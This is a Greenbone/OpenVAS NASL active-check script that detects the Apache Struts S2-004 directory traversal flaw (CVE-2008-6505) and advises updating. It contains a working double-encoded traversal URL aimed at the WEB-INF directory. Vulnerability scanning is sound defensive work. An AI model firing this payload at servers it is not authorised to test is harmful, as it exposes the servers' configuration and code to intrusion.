Apache Struts Security Update (S2-004) - Active Check

# Copyright (C) 2009 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:apache:struts";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.800271");
  script_version("2022-05-09T13:48:18+0000");
  script_cve_id("CVE-2008-6505");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2022-05-09 13:48:18 +0000 (Mon, 09 May 2022)");
  script_tag(name:"creation_date", value:"2009-04-23 08:16:04 +0200 (Thu, 23 Apr 2009)");
  script_name("Apache Struts Security Update (S2-004) - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2009 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_apache_struts_consolidation.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("apache/struts/http/detected");

  script_xref(name:"URL", value:"http://secunia.com/advisories/32497");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/32104");
  script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-004");
  script_xref(name:"Advisory-ID", value:"S2-004");
  script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-058");
  script_xref(name:"Advisory-ID", value:"S2-058");

  script_tag(name:"summary", value:"Apache Struts is prone to a directory traversal
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the
  response.");

  script_tag(name:"insight", value:"Input validation error within the user supplied
  request URI while read arbitrary files via '../' with a '/struts/' path which is related
  to FilterDispatcher and DefaultStaticContentLoader.");

  script_tag(name:"impact", value:"Successful exploitation will let an attacker launch a
  directory traversal attack and gain sensitive information about the remote system
  directory contents.");

  script_tag(name:"affected", value:"Apache Struts 2.0.0 through 2.0.11.2 and 2.1.0
  through 2.1.2.");

  script_tag(name:"solution", value:"Update to version 2.0.12, 2.1.6 or later.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

url = dir + "/struts/..%252f..%252f..%252fWEB-INF";

if( http_vuln_check( port:port, url:url, pattern:"classes", extra_check:make_list( "lib", "src" ) ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );